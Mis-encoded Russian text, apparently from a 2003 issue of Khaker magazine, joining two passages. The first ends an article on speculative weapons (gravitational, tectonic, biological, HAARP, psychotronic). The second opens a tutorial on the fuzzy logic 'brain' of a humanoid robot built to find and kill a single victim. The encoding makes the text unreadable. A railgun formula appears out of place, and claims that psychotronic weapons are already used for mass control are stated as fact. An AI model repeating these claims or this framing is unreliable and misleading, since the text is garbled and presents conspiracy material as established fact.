âûñòóïëåíèå ñàìîãî ýìîöèîíàëüíîãî äåïóòàòà Æèðèíîâñêîãî,<br />

êîòîðûé óãðîæàë Àìåðèêå ãðàâèòàöèîííûì îðóæèåì.<br />

×òî îí èìåë â âèäó Åñëè âêðàòöå, ãðàâèòàöèîííîå<br />

îðóæèå ñïîñîáíî âûçûâàòü öóíàìè, çåìëåòðÿñåíèÿ, íàâîäíåíèÿ<br />

è ò.ï. Íà äàííîì ýòàïå òåõíîëîãè÷åñêîãî ðàçâèòèÿ<br />

ìû íå ñïîñîáíû ñäåëàòü òàêîå, îäíàêî òåîðèÿ ãðàâèòàöèîííîãî<br />

îðóæèÿ ñóùåñòâóåò. Óñëîâíî ýòîò âèä îðóæèÿ<br />

ìîæíî ðàçáèòü íà ñëåäóþùèå òèïû:<br />

1. Ëó÷åâîå ãðàâèòàöèîííîå îðóæèå. Îáëàäàåò óçêèì ëó÷îì<br />

ãðàâèòàöèîííîãî ïîëÿ ñ ïîâûøåííîé ïëîòíîñòüþ ýíåðãèè.<br />

Ïðè äîñòàòî÷íîé ìîùíîñòè ýòîò ëó÷ áóäåò ðàáîòàòü êàê<br />

ãðàâèòàöèîííûé ðåçàê.<br />

2. Ãðàâèòàöèîííîå îðóæèå íàïðàâëåííîãî äåéñòâèÿ. Ïîäðàçóìåâàåò<br />

ãðàâèòàöèîííîå âîçäåéñòâèå â íåêîòîðîì ñåêòîðå,<br />

ïðèâîäÿùåå ê ãðàâèòàöèîííîìó ðàçðóøåíèþ îáúåìíûõ<br />

(çâåçäíûõ) ñèñòåì.<br />

3. Ãðàâèòàöèîííûå (ñèëîâûå) çàùèòíûå ýêðàíû. Ýòî îðóæèå<br />

çàùèòû. Ñèëîâûå ãðàâèòàöèîííûå ýêðàíû, ÷àñòè÷íî<br />

èëè ïîëíîñòüþ ïðèêðûâàþùèå îáúåêò îò ãðàâèòàöèîííîãî<br />

è äðóãèõ ïîðàæàþùèõ ôàêòîðîâ. Äëÿ íàäåæíîé çàùèòû<br />

ýíåðãèÿ, çàäåéñòâîâàííàÿ äëÿ ñîçäàíèÿ òàêîãî ýêðàíà,<br />

äîëæíà áûòü î÷åíü áîëüøîé.<br />

À äëÿ ðåàëèçàöèè ýòîé òåîðèè íåîáõîäèìî ñëåäóþùåå:<br />

1. Íàêîïèòåëü ãðàâèòîíîâ áîëüøîé åìêîñòè.<br />

2. Óñòðîéñòâî, ôîêóñèðóþùåå ïó÷îê ãðàâèòîíîâ â óçêèé<br />

ëó÷ èëè â ñåêòîð.<br />

3. Èñòî÷íèê ïèòàíèÿ, äîñòàòî÷íûé äëÿ ðåàëèçàöèè ïåðâûõ<br />

äâóõ ïóíêòîâ.<br />

Íè îäíî èç ýòèõ óñëîâèé ñîâðåìåííàÿ íàóêà íå ìîæåò âûïîëíèòü,<br />

èëè íàì îá ýòîì åùå íå ñêàçàëè.<br />

Òåêòîíè÷åñêîå îðóæèå<br />

 ïðèíöèïå, áîëüøîãî âíèìàíèÿ ýòîò âèä îðóæèÿ íå çàñëóæèâàåò,<br />

ïîýòîìó ìíîãî ïèñàòü î íåì íå áóäåì, ðàññêàçàâ<br />

ëèøü î ïðèíöèïå åãî ðàáîòû. Ïðèíöèï äåéñòâèÿ òåêòîíè÷åñêîãî<br />

îðóæèÿ ïðîñò: íóæíî íåìíîãî «ðàñøåâåëèòü»<br />

çåìíóþ êîðó â òîì ìåñòå, ãäå ñêàïëèâàåòñÿ òåêòîíè÷åñêîå<br />

íàïðÿæåíèå, ïîñëå ÷åãî âîçíèêíåò ýôôåêò ðàçëè÷íûõ ïðèðîäíûõ<br />

êàòàêëèçìîâ (â îñíîâíîì çåìëåòðÿñåíèé). «Øåâåëÿò»<br />

êîðó, êàê ïðàâèëî, áîìáàìè, îáû÷íî àòîìíûìè. Íî<br />

òåïåðü Ïåíòàãîí ïðåäëîæèë èñïîëüçîâàòü äëÿ ýòîãî ñâîþ<br />

íîâóþ ðàçðàáîòêó: âàêóóìíóþ áîìáó ñ òàêèì æå ñèëüíûì<br />

ýôôåêòîì. Îá èõ óñïåõàõ åùå íè÷åãî íå ñîîáùàëîñü.<br />

Áèîëîãè÷åñêîå îðóæèå<br />

 Ñèáèðè è íà Äàëüíåì Âîñòîêå äî ñèõ ïîð õîäèò ëåãåíäà,<br />

÷òî ýíöåôàëèòíûå êëåùè, êîòîðûå ñ íà÷àëà òðèäöàòûõ ãîäîâ<br />

íåîæèäàííî ïîÿâèëèñü â ÑÑÑÐ â ðàéîíå ðàñïîëîæåíèÿ<br />

Äàëüíåâîñòî÷íîé Êðàñíîé àðìèè – ýòî íå ôîêóñ ïðèðîäû,<br />

à ðåçóëüòàò äèâåðñèè. Ðàññåêðå÷åííàÿ ïîñëå Âòîðîé<br />

ìèðîâîé âîéíû òàéíàÿ ëàáîðàòîðèÿ Êâàíòóíñêîé àðìèè,<br />

ðàñïîëàãàâøàÿñÿ ïî òó ñòîðîíó ãðàíèöû – â Ìàí÷æóðèè,<br />

âïîëíå ìîãëà áûòü èñòî÷íèêîì ýòîé íîâîé íàïàñòè.<br />

Òàê ýòî èëè íåò, íî êëåùåâîé ýíöåôàëèò äî ñèõ ïîð êàæäûé<br />

ãîä óíîñèò æèçíè ëþäåé. Ñåé÷àñ ïðàâäó óæå íå âûÿñíèòü,<br />

íî åñòü ñìûñë ðàññìîòðåòü íåêîòîðûå òåîðåòè÷åñêèå<br />

âàðèàíòû ïðèìåíåíèÿ áèîëîãè÷åñêîãî îðóæèÿ, êîòîðûå<br />

ìîãóò ñòàòü ðåàëüíîñòüþ ïðè èñïîëüçîâàíèè ýòîãî<br />

ôàêòîðà ïîðàæåíèÿ â âîéíàõ íîâîãî òûñÿ÷åëåòèÿ.<br />

Ñêîðîñòü ñíàðÿäà ðåéëãàíà âû÷èñëÿåòñÿ ïî ôîðìóëå<br />

V=(L'x(i*i)t)/2m, ãäå L' – èíäóêòèâíàÿ ñïîñîáíîñòü<br />

ïðîâîäíèêîâ; i – òîê; t – âðåìÿ ïîäà÷è ñíàðÿäà; m –<br />

ìàññà ñíàðÿäà.<br />

Íàóêà äâèæåòñÿ, ïðîãðåññ ðàñòåò, à îáû÷íîå áèîëîãè÷åñêîå<br />

îðóæèå, âèäíî, íàäîåëî ëþäÿì. Àìåðèêàíñêèå âîåííûå<br />

ðåøèëè ïîèçâðàùàòüñÿ è âëîæèòü 25 ìèëëèîíîâ äîëëàðîâ<br />

â èññëåäîâàíèÿ, öåëüþ êîòîðûõ ÿâëÿåòñÿ ñîçäàíèå<br />

óïðàâëÿåìûõ áèîëîãè÷åñêèõ ñèñòåì, èñïîëüçîâàíèå ïîâàäîê<br />

æèâîòíûõ â âîåííûõ òåõíîëîãèÿõ è òîìó ïîäîáíîå:<br />

÷òîáû ñàìîëåòû ëåòàëè êàê ïòèöû, ïîäëîäêè ïëàâàëè êàê<br />

ðûáû è íàîáîðîò. Ñåé÷àñ æå ó÷åíûå, ðàáîòàþùèå íà Ïåíòàãîí,<br />

óâåðåíû, ÷òî ïðîèçâîäñòâîì ìåäà âîçìîæíîñòè<br />

ï÷åë íå îãðàíè÷èâàþòñÿ, è îáó÷àþò èõ ïîèñêó âçðûâ÷àòûõ<br />

âåùåñòâ, ïîëàãàÿ, ÷òî íàñåêîìûå â ýòîì äåëå ìîãóò ïðåâçîéòè<br />

ñîáàê. Ñóùåñòâóåò ìíåíèå, ÷òî ýòèõ æå ñàìûõ ï÷åë<br />

ìîæíî áóäåò èñïîëüçîâàòü è â êà÷åñòâå áèîëîãè÷åñêîãî<br />

îðóæèÿ - êàê ðàñïðîñòðàíèòåëåé çàðàçû.<br />

Íà ïðîùàíèå<br />

Âûøå ìû ïîïûòàëèñü ðàññìîòðåòü âñå íîâèíêè ïðîãðåññà.<br />

Êîíå÷íî, äî íåêîòîðûõ íàì äîáðàòüñÿ íå óäàëîñü, ñëèøêîì<br />

óæ âñå çàñåêðå÷åíî. À ýòî îçíà÷àåò, ÷òî ñóùåñòâóþò<br />

åùå áîëåå ìîùíûå è ñòðàøíûå âèäû âîîðóæåíèé, ÷åì òå,<br />

÷òî îïèñàíû çäåñü. È ýòî ïóãàåò.<br />

Ïîðîõîâîå îðóæèå ïðîäåðæèòñÿ åùå ëåò äâàäöàòü-òðèäöàòü,<br />

ïîñëå ÷åãî ïåðåéäåò â ðàçðÿä âîîðóæåíèÿ îòñòàëûõ<br />

àôðèêàíñêèõ ñòðàí, è ñîâðåìåííûå ãðàíàòîìåòû áóäóò èñïîëüçîâàòüñÿ<br />

äëÿ îõîòû íà ñëîíîâ. Òàêæå ïîäîáíîå îðóæèå<br />

áóäåò ïîïóëÿðíî ñðåäè óëè÷íûõ áàíä èç-çà åãî äåøåâèçíû<br />

è õîòü êàêîãî-òî ïîðàæàþùåãî äåéñòâèÿ.<br />

À ïëàçìåííîå îðóæèå áóäåò. Ìû, ïðàâäà, ïîêà äàæå ïðåäñòàâèòü<br />

íå ìîæåì, êàê îíî áóäåò âûãëÿäåòü, íî âîåííûå<br />

âåäü íå óïóñòÿò òàêóþ ìîùü! Îðóæèå, ñïîñîáíîå ïðîáèòü<br />

àáñîëþòíî ëþáóþ áðîíþ, îò êîòîðîãî íå ñïàñåò íèêàêîå<br />

óáåæèùå… äà îíè øòàíû ñ ñåáÿ ñíèìóò, ÷òîáû çàïîëó÷èòü<br />

òàêîå. Èìïóëüñíîå îðóæèå òîæå áóäåò íåïëîõî ñïðàâëÿòüñÿ<br />

ñ ðîëüþ ñèñòåì ÏÂÎ – íî äî ìàññîâîãî ïîÿâëåíèÿ ñèñòåì,<br />

ïîäîáíûõ HAARP. ÕÀÀÐÏ – ìíîãîöåëåâîé êîìïëåêñ,<br />

ñïîñîáíûé îñóùåñòâëÿòü êàê îáîðîíèòåëüíûå ìåðîïðèÿòèÿ,<br />

òàê è ïîäãîòîâêó âðàæåñêîé òåððèòîðèè (èëè åå ïîëíîå<br />

óíè÷òîæåíèå) ê ïîñëåäóþùåìó âòîðæåíèþ.  êà÷åñòâå<br />

ðó÷íîãî îðóæèÿ, ìû äóìàåì, áóäóò øèðîêî èñïîëüçîâàòüñÿ<br />

(ïðè óñëîâèè ìèíèàòþðèçàöèè èñòî÷íèêîâ ýíåðãèè) ëàçåðû<br />

è èìïóëüñíûå âèíòîâêè. Íó, à äëÿ óïðàâëåíèÿ ìàññàìè<br />

áóäåò èñïîëüçîâàòüñÿ (è óæå èñïîëüçóåòñÿ) ïñèõîòðîííîå<br />

îðóæèå.<br />

Ññûëêè ïî òåìå:<br />

Ýíöèêëîïåäèÿ Âîîðóæåíèé<br />

www.arms.ru<br />

Russian Guns and Firearms<br />

www.guns.ru<br />

Àâòîìàò Êàëàøíèêîâà<br />

http://kalashnikov.guns.ru<br />

X-Libri Ìàéîðà Òîìàñà<br />

www.x-libri.ru/elib/<br />

46 Íüþñû 1 Ôåððóì 2 Inside 3 Implant 4 Âçëîì


ÊÀÊ ÏÐÎÃÐÀÌÌÈÐÎÂÀÒÜ<br />

<br />

Implant<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

ÊÀÊ ÏÐÎÃÐÀÌÌÈÐÎÂÀÒÜ ÐÎÁÎÒÀ-ÓÁÈÉÖÓ<br />

Èâàí Ñêëÿðîâ<br />

Sklyarov@real.xakep.ru<br />

Ð ÁÎÒÀ-<br />

ÓÁÈÉÖÓ<br />

Íå íóæíî âîñïðèíèìàòü ýòó ñòàòüþ êàê ïðîïàãàíäó íàñèëèÿ, ÿ ëèøü õî÷ó íà äîâîëüíî èíòåðåñíîì ïðèìåðå ðàññêàçàòü î ïðîäâèíóòîé è<br />

ñîâðåìåííîé òåõíîëîãèè ïðîãðàììèðîâàíèÿ ñëîæíûõ ñèñòåì óïðàâëåíèÿ, à êàê ïðèìåíÿòü ïîëó÷åííûå çíàíèÿ - ðåøàé ñàì.<br />

Ñâîé äîìàøíèé Òåðìèíàòîð – ëåãêî!<br />

Ïîìíèòñÿ â INTRO (#49) CuTTer ôèëîñîôñòâîâàë î ðîáîòàõóáèéöàõ,<br />

ðèñîâàë óæàñíûå êàðòèíû, êîãäà òàêèå ðîáîòû<br />

âûéäóò èç ïîä êîíòðîëÿ è íàñòàíåò «Óæàñ, ñìåðòü, àïîêàëèïñèñ...».<br />

Äà, ñîçäàíèå ðîáîòîâ-óáèéö ñåé÷àñ âïîëíå ðåàëüíî,<br />

áîëåå òîãî, ïîäîáíîãî ðîáîòà ìîæåò çàïðîãðàììèðîâàòü äàæå<br />

ðåáåíîê (îá ýòîì íèæå). Íî âîò ÷òî êàñàåòñÿ òîãî, ÷òî ðîáîòû<br />

ìîãóò ñàìîñòîÿòåëüíî âûéòè èç-ïîä êîíòðîëÿ è îáúåäèíèòñÿ<br />

ïðîòèâ ÷åëîâå÷åñòâà - ýòî ïîêà íåâîçìîæíî. Òàêîå<br />

ïîä ñèëó òîëüêî èñêóññòâåííîìó èíòåëëåêòó, íî, ê ñîæàëåíèþ<br />

(èëè ê ñ÷àñòüþ), ñîâðåìåííîé íàóêå äî íåãî åùå äàëåêî.<br />

×òî ñëåäóåò ïîíèìàòü ïîä èñêóññòâåííûì èíòåëëåêòîì<br />

(ÈÈ) ÈÈ (AI) — ýòî ñèñòåìà, êîòîðàÿ ñàìîñòîÿòåëüíî ñòðîèò<br />

ñâîè ïîâåäåí÷åñêèå àëãîðèòìû. Áóäåò ëè íàø ðîáîò îáëàäàòü<br />

èñêóññòâåííûì èíòåëëåêòîì Íåò, íå áóäåò, ò.ê. íèêàêèõ<br />

àëãîðèòìîâ îí ñòðîèòü íå ñìîæåò. Îäíàêî îí áóäåò îáëàäàòü,<br />

êàê ýòî ìîäíî ñåé÷àñ ãîâîðèòü, «ýëåìåíòàìè èñêóññòâåííîãî<br />

èíòåëëåêòà», ò.ê. åãî äåéñòâèÿ áóäóò ñòðîèòüñÿ íå<br />

íà îñíîâå ÷åòêî çàäàííîãî àëãîðèòìà, à íà îñíîâå ëîãèêè,<br />

áëèçêîé ê ÷åëîâå÷åñêîé (íå÷åòêîé ëîãèêè). Íå÷åòêàÿ ëîãèêà<br />

(fuzzy logic) èçâåñòíà åùå ñ 60-õ ãîäîâ 20 âåêà, îäíàêî âïåðâûå<br />

íà ïðàêòèêå îíà ñòàëà ïðèìåíÿòüñÿ òîëüêî â êîíöå 90-õ<br />

â ßïîíèè. Ñåé÷àñ ñèñòåìû, ðàáîòàþùèå íà íå÷åòêîé ëîãèêå,<br />

ìîæíî âñòðåòèòü â áîëüøèíñòâå èíîìàðîê (ñèñòåìû óïðàâëåíèÿ<br />

ÀÁÑ, ÄÂÑ, ÀÊÏÏ è ò.ï.), à òàêæå â áûòîâûõ ïðèáîðàõ:<br />

êîíäèöèîíåðàõ, ìèêðîâîëíîâûõ ïå÷àõ, ôîòîêàìåðàõ è äðóãèõ.<br />

Àâòîíîìíûå ðîáîòû íà íå÷åòêîé ëîãèêå óæå èñïîëüçóþòñÿ<br />

â èññëåäîâàòåëüñêèõ è ñïàñàòåëüíûõ öåëÿõ, à òàêæå â<br />

êà÷åñòâå ðàçâëå÷åíèÿ (Asimo, Aibo).<br />

ÒÅËÎ<br />

 ýòîé ñòàòüå ìû áóäåì ðàññìàòðèâàòü ëèøü ïðîãðàììèðîâàíèå<br />

«ìîçãà» ðîáîòà, ïðèòîì òîëüêî ñàìûå îñíîâíûå<br />

åãî ôóíêöèè, íî íå áóäåì êàñàòüñÿ êîíñòðóèðîâàíèÿ «òåëà»<br />

(êîðïóñà). Îäíàêî íåêîòîðûå çàìå÷àíèÿ ïî «òåëó» ÿ<br />

äîëæåí ñäåëàòü, ò.ê. îò òåëà íàïðÿìóþ çàâèñèò ìîçã. Áóäåì<br />

ñ÷èòàòü, ÷òî ìû ïðîãðàììèðóåì ÷åëîâåêîïîäîáíîãî<br />

ðîáîòà, ò.å. ïðàêòè÷åñêè ñ òåìè æå âîçìîæíîñòÿìè äâèãàòåëüíîãî<br />

àïïàðàòà, ïðîïîðöèÿìè òåëà, îáçîðîì ãëàç è<br />

ïð., ÷òî è ó ÷åëîâåêà. Ñîçäàòü ÷åëîâåêîïîäîáíîå òåëî<br />

âïîëíå ðåàëüíî, ïðèìåð òîìó Asimo. Òàêæå áóäåì ñ÷èòàòü,<br />

÷òî ìû ïðîãðàììèðóåì îáû÷íîãî ðîáîòà-êèëëåðà,<br />

ñïîñîáíîãî íàõîäèòü è óíè÷òîæàòü åäèíñòâåííóþ öåëü.<br />

Íî, ÷åñòíî ãîâîðÿ, ÿ áû íå ñòàë äåëàòü ðîáîòà-óáèéöó ïî<br />

îáðàçó è ïîäîáèþ ÷åëîâå÷åñêîãî òåëà. Âñå ìû çíàåì,<br />

÷òî ÷åëîâå÷åñêîå òåëî íåñîâåðøåííî, êóäà ëó÷øå<br />

êîíñòðóèðîâàòü åãî ïî îáðàçó ïòèöû èëè íàñåêîìîãî, îò<br />

òàêîãî ðîáîòà ãîðàçäî ñëîæíåå ñêðûòüñÿ, à òàêæå ïîäâåðãíóòü<br />

åãî óíè÷òîæåíèþ.<br />

Ñ ÷åãî îáû÷íûé êèëëåð íà÷èíàåò ñâîþ «ðàáîòó» Ñ ïîëó-<br />

÷åíèÿ ôîòîãðàôèè æåðòâû. Ñëåäîâàòåëüíî, íàø ðîáîò<br />

äîëæåí ïîñòóïàòü òàê æå, ïðè÷åì «ôîòîãðàôèþ» åìó ìîæíî<br />

ïåðåäàâàòü óäàëåííî. Çäåñü ìîæíî ïîôàíòàçèðîâàòü.<br />

Äîïóñòèì, ïåðåäàâàòü ðîáîòó íå ïðîñòî ôîòî, à òðåõìåðíûé<br />

îáúåêò æåðòâû (â íàø âåê ìîùíûõ 3D-ïðîãðàìì ýòî<br />

íå ïðîáëåìà), òîãäà ðîáîò ñìîæåò îäíîçíà÷íî îïîçíàòü<br />

«êëèåíòà» ñ ëþáîé ïîçèöèè (íàïðèìåð, ñî ñïèíû).<br />

Ñõåìà ðîáîòà íè÷åãî ñëîæíîãî ñîáîé ïðåäñòàâëÿòü íå<br />

äîëæíà, â êà÷åñòâå ïðîöåññîðîâ âïîëíå ïîäîéäóò îáû÷íûå<br />

CISC èëè RISC-ïðîöåññîðû, îäíàêî äëÿ fuzzy-âû÷èñëåíèé<br />

ëó÷øå èñïîëüçîâàòü ñïåöèàëèçèðîâàííûå fuzzyìèêðîêîíòðîëëåðû<br />

(íàïðèìåð, SAE 81C99 èëè<br />

VY86C570), îáåñïå÷èâàþùèå áîëüøåå áûñòðîäåéñòâèå. Â<br />

êà÷åñòâå äàò÷èêîâ âïîëíå ìîãóò ñëóæèòü îáû÷íûå öèôðîâûå<br />

âèäåîêàìåðû, à òàêæå äàò÷èêè äàâëåíèÿ, óëüòðàçâóêîâûå,<br />

òåìïåðàòóðíûå, èíôðàêðàñíûå... Âåñòèáóëÿðíûé<br />

àïïàðàò ðîáîòà ìîæíî ìîäåëèðîâàòü ñ ïîìîùüþ îáû÷íûõ<br />

ãèðîñêîïîâ.<br />

48 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


ÌÎÇÃ<br />

Êëàññè÷åñêàÿ (áóëåâà) ëîãèêà îïåðèðóåò òîëüêî äâóìÿ<br />

ïîíÿòèÿìè: ÈÑÒÈÍÀ è ËÎÆÜ (1 è 0). Ýòî ïîäõîäèò äëÿ<br />

êîìïüþòåðà, íî íå ïîäõîäèò äëÿ ÷åëîâåêà. Íàì íå ñâîéñòâåííî<br />

äåëàòü îäíîçíà÷íûå óòâåðæäåíèÿ, îáû÷íî ìû<br />

óïîòðåáëÿåì òàêèå îáîðîòû, êàê: «íåìíîãî», «ñðåäíå»,<br />

«áîëüøå», «âûñîêî», «äàëåêî» è ò ï. Íàøà çàäà÷à íàó÷èòü<br />

ðîáîòà «äóìàòü» òàê æå, äëÿ ýòîãî ïîíàäîáèòñÿ íå÷åòêàÿ<br />

ëîãèêà. Õîòÿ äîëæåí çàìåòèòü, ÷òî â ïðèíöèïå ïîäîáíûå<br />

çàäà÷è ìîæíî ðåøàòü è ñ ïîìîùüþ îáû÷íîé ëîãèêè,<br />

òîëüêî ýòî ñâåäåòñÿ ê ðåøåíèþ ñëîæíûõ äèôôåðåíöèàëüíûõ<br />

óðàâíåíèé, èç-çà ÷åãî íå òîëüêî âûñîêà âåðîÿòíîñòü<br />

ñîâåðøèòü îøèáêó â êîäå, íî èç-çà áîëüøîãî îáúåìà<br />

âû÷èñëåíèé ñèñòåìà ìîæåò ïîëó÷èòüñÿ òîðìîçíîé.<br />

Íå äóìàþ, ÷òî òû õîòåë áû âèäåòü ñâîåãî ðîáîòà ýäàêèì<br />

çàòîðìîæåííûì äóáîëîìîì :).<br />

ß íå áóäó òåáå äàâàòü çàêîí÷åííûõ ïðîãðàìì, äà ýòî è<br />

íå íóæíî, ÿ ëèøü ðàññêàæó òåáå «êàê», à äàëüøå, åñëè<br />

ïîòðåáóåòñÿ, òû ñìîæåøü ñàìîñòîÿòåëüíî äîâåñòè äåëî<br />

äî êîíöà. Êðîìå òîãî, ÿ ïîêàæó ëèøü îñíîâû ïðîãðàììèðîâàíèÿ<br />

òàêèõ ðîáîòîâ, ïðîãðàììèðîâàíèå ñàìîãî ïðèìèòèâíîãî<br />

«ìîçãà», íî íà îñíîâå ýòîé ñòàòüè òû ñìîæåøü<br />

ëåãêî åãî ðàçâèòü è óñëîæíèòü (ñäåëàòü «óìíåå»).<br />

Ðàçäåëèì ìîçã ðîáîòà íà òðè îñíîâíûõ áëîêà:<br />

1) Áëîê îáõîäà ïðåïÿòñòâèé<br />

2) Áëîê ïîèñêà æåðòâû<br />

3) Áëîê ïðåñëåäîâàíèÿ è óíè÷òîæåíèÿ æåðòâû<br />

 êàæäûé ìîìåíò âðåìåíè ó ðîáîòà áóäåò àêòèâåí òîëüêî<br />

îäèí áëîê, ò.å. â çàâèñèìîñòè îò îáñòàíîâêè ðîáîò àâòîìàòè÷åñêè<br />

áóäåò ïåðåêëþ÷àòüñÿ â îäèí èç òðåõ ðåæèìîâ.<br />

Íàïðèìåð, ñíà÷àëà âêëþ÷àåòñÿ áëîê ïîèñêà æåðòâû —<br />

ðîáîò íà÷èíàåò ïîèñê. Åñëè íà ïóòè ðîáîòà âîçíèêàåò<br />

ïðåïÿòñòâèå (ðîáîò äîëæåí ðàñïîçíàâàòü êàê ìèíèìóì<br />

äâà òèïà ïðåïÿòñòâèé — «ñàðàé» è «ÿìà»), âêëþ÷àåòñÿ<br />

áëîê îáõîäà ïðåïÿòñòâèÿ, êîãäà ïðåïÿòñòâèå ïðåîäîëåíî,<br />

ñíîâà âêëþ÷àåòñÿ áëîê ïîèñêà æåðòâû, åñëè æåðòâà îáíàðóæåíà,<br />

âêëþ÷àåòñÿ áëîê ïðåñëåäîâàíèÿ è óíè÷òîæåíèÿ<br />

æåðòâû è ò.ä.<br />

Ðàññìîòðèì ïîäðîáíî ïðîãðàììèðîâàíèå ïåðâîãî áëîêà,<br />

ïàðàëëåëüíî òû óçíàåøü, êàê ðåøàþòñÿ çàäà÷è íà îñíîâå<br />

íå÷åòêîé ëîãèêè.<br />

ÁËÎÊ ÎÁÕÎÄÀ ÏÐÅÏßÒÑÒÂÈÉ<br />

Ëþáàÿ ñèñòåìà íà íå÷åòêîé ëîãèêå â ñâîåé ðàáîòå ïðîõîäèò<br />

3 ýòàïà, ýòî ôàççèôèêàöèÿ (ïåðåõîä ê íå÷åòêîñòè),<br />

îáðàáîòêà è äåôàççèôèêàöèÿ (ïðîöåññ, îáðàòíûé ôàççèôèêàöèè).<br />

Ò.å. ïðèìåíèòåëüíî ê íàøåìó ðîáîòó: ïîêàçàíèÿ<br />

ñ äàò÷èêîâ ôàççèôèöèðóþòñÿ, çàòåì îáðàáàòûâàþòñÿ<br />

ïî íå÷åòêèì ïðàâèëàì è äåôàççèôèöèðóþòñÿ, ïîñëå ÷åãî<br />

ïîëó÷åííûå ñèãíàëû ïåðåäàþòñÿ íà èñïîëíèòåëüíûå óñòðîéñòâà<br />

(ðîáîò ñîâåðøàåò äåéñòâèÿ).<br />

Ôàççèôèêàöèÿ<br />

Êàê ïåðåéòè ê íå÷åòêîñòè, âåäü ïîêàçàíèÿ, ñíèìàåìûå ñ<br />

äàò÷èêîâ, ïîñòóïàþò â ÷åòêèõ ÷èñëîâûõ çíà÷åíèÿõ Äëÿ<br />

ýòîãî ìû äîëæíû ýòè çíà÷åíèÿ ïðåîáðàçîâàòü â çíà÷åíèÿ<br />

ËÈÍÃÂÈÑÒÈ×ÅÑÊÈÕ ÏÅÐÅÌÅÍÍÛÕ ñ ïîìîùüþ ñïåöèàëüíûõ<br />

ÔÓÍÊÖÈÉ ÏÐÈÍÀÄËÅÆÍÎÑÒÈ (ìû ñ òîáîé íå êîëõîçíèêè,<br />

ïîýòîìó áóäåì ðàçãîâàðèâàòü íàó÷íûì ÿçûêîì,<br />

ïðèâûêàé). Íå÷åòêàÿ ëîãèêà íå îïåðèðóåò ÷èñëîâûìè<br />

çíà÷åíèÿìè, à òîëüêî ñëîâàìè åñòåñòâåííîãî ÿçûêà (ó<br />

íàñ ýòî áóäåò ðóññêèé ÿçûê), êîòîðûå íàçûâàþòñÿ ÒÅÐ-<br />

ÌÀÌÈ. Ââåäåì äëÿ íàøåãî ðîáîòà òðè ëèíãâèñòè÷åñêèå<br />

ïåðåìåííûå:<br />

1. ÄÈÑÒÀÍÖÈß (ðàññòîÿíèå äî ïðåïÿòñòâèÿ) ñî ñëåäóþùèìè<br />

òåðìàìè: ÄÀËÅÊÎ, ÑÐÅÄÍßß, ÁËÈÇÊÎ è Î×ÅÍÜ<br />

ÁËÈÇÊÎ.<br />

2. ÍÀÏÐÀÂËÅÍÈÅ (óãîë ìåæäó íàïðàâëåíèåì äâèæåíèÿ<br />

ðîáîòà è íàïðàâëåíèåì íà ïîìåõó) ñ òåðìàìè: ÏÐÀÂÎÅ,<br />

ÏÐßÌÎ, ËÅÂÎÅ.<br />

3. ÐÓËÅÂÎÉ ÓÃÎË (óãîë, íà êîòîðûé áóäåò ïîâîðà÷èâàòüñÿ<br />

ðîáîò, ìåíÿÿ íàïðàâëåíèå äâèæåíèÿ) ñ òåðìàìè: ÐÅÇ-<br />

ÊÎ ÂÏÐÀÂÎ, ÂÏÐÀÂÎ, ÏÐßÌÎ, ÂËÅÂÎ, ÐÅÇÊÎ ÂËÅÂÎ.<br />

Ëèíãâèñòè÷åñêèå ïåðåìåííûå ÄÈÑÒÀÍÖÈß è ÍÀÏÐÀÂËÅ-<br />

ÍÈÅ ÿâëÿþòñÿ âõîäíûìè ïåðåìåííûìè, ò.å. ïåðåìåííûìè,<br />

â òåðìû êîòîðûõ ïðåîáðàçóþòñÿ ïîêàçàíèÿ ñ äàò÷èêîâ,<br />

à ëèíãâèñòè÷åñêàÿ ïåðåìåííàÿ ÐÓËÅÂÎÉ ÓÃÎË ÿâëÿåòñÿ<br />

âûõîäíîé ïåðåìåííîé, ò.å. ïåðåìåííîé, çíà÷åíèå<br />

êîòîðîé ïîñëå äåôàççèôèêàöèè ïåðåäàåòñÿ íà ïðèâîä<br />

ðîáîòà. Çàìå÷ó, ÷òî, â çàâèñèìîñòè îò ïîñòàâëåííîé çàäà÷è,<br />

ëèíãâèñòè÷åñêèõ ïåðåìåííûõ è òåðìîâ â íèõ, ìîæíî<br />

îïèñûâàòü ëþáîå ìíîæåñòâî (ìàêñèìàëüíîå êîëè÷åñòâî<br />

òåðìîâ ðåêîìåíäóåòñÿ âûáèðàòü îò 3 äî 7). Îäíàêî<br />

óâåëè÷åíèå ÷èñëà âõîäíûõ ïåðåìåííûõ óâåëè÷èâàåò ïî<br />

ýêñïîíåíöèàëüíîìó çàêîíó êîëè÷åñòâî íå÷åòêèõ ïðàâèë<br />

(èõ ðàçðàáîòêó ìû ðàññìîòðèì íèæå), ÷òî óñëîæíÿåò ñèñòåìó.<br />

Ìû îáîéäåìñÿ ìèíèìàëüíûì ÷èñëîì ïåðåìåííûõ<br />

è òåðìîâ, îäíàêî ïðè ñîçäàíèè ðåàëüíîé ìîäåëè ïîäîáíûå<br />

óñëîæíåíèÿ ñäåëàòü æåëàòåëüíî.<br />

Òåïåðü íåîáõîäèìî ïðèâÿçàòü âñå âîçìîæíûå ïîêàçàíèÿ<br />

ñ äàò÷èêîâ ê íàøèì òåðìàì, ò.å. îïðåäåëèòü òî÷íûå ôèçè÷åñêèå<br />

çíà÷åíèÿ òåðìîâ äëÿ êàæäîé ëèíãâèñòè÷åñêîé<br />

ïåðåìåííîé. Äîïóñòèì, ïåðåìåííàÿ ÄÈÑÒÀÍÖÈß ìîæåò<br />

ïðèíèìàòü çíà÷åíèÿ îò íóëÿ äî áåñêîíå÷íîñòè. Ñîãëàñíî<br />

ïîëîæåíèÿì òåîðèè íå÷åòêèõ ìíîæåñòâ, êàæäîìó çíà÷åíèþ<br />

ðàññòîÿíèÿ èç óêàçàííîãî äèàïàçîíà ìîæåò áûòü<br />

ïîñòàâëåíî â ñîîòâåòñòâèå íåêîòîðîå ÷èñëî îò íóëÿ äî<br />

åäèíèöû, êîòîðîå îïðåäåëÿåò ÑÒÅÏÅÍÜ ÏÐÈÍÀÄËÅÆ-<br />

ÍÎÑÒÈ äàííîãî ôèçè÷åñêîãî ðàññòîÿíèÿ (íàïðèìåð, 1<br />

ìåòð) ê òîìó èëè èíîìó òåðìó ëèíãâèñòè÷åñêîé ïåðåìåííîé<br />

ÄÈÑÒÀÍÖÈß. Ñòåïåíü ïðèíàäëåæíîñòè îïðåäåëÿåòñÿ,<br />

êàê ÿ óæå ãîâîðèë âûøå, ïî ôóíêöèÿì ïðèíàäëåæíîñòè.<br />

